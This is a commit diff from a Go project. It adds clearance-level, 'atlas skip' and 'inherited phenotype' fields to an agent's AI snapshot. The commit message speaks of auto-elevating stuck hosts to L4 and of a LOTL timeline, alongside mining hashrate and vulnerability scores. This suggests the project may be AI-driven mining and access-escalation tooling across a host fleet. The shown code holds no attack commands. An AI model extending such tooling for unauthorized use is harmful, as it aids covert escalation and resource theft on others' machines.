Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
@@ -78,6 +78,9 @@ type AISnapshot struct {
|
||||
|
||||
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
||||
Stuck bool `json:"stuck"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
||||
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
||||
ChainExhausted: ms.ChainExhausted,
|
||||
}
|
||||
c.mu.Lock()
|
||||
snap.ClearanceLevel = c.clearanceLevel
|
||||
if len(c.atlasSkips) > 0 {
|
||||
snap.AtlasSkips = c.atlasSkipsSnapshot()
|
||||
}
|
||||
if c.inheritedPhenotype != nil {
|
||||
copy := *c.inheritedPhenotype
|
||||
snap.InheritedPhenotype = ©
|
||||
}
|
||||
c.mu.Unlock()
|
||||
snap.Stuck = aiSnapshotStuck(snap, ms)
|
||||
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
||||
|
||||
Reference in New Issue
Block a user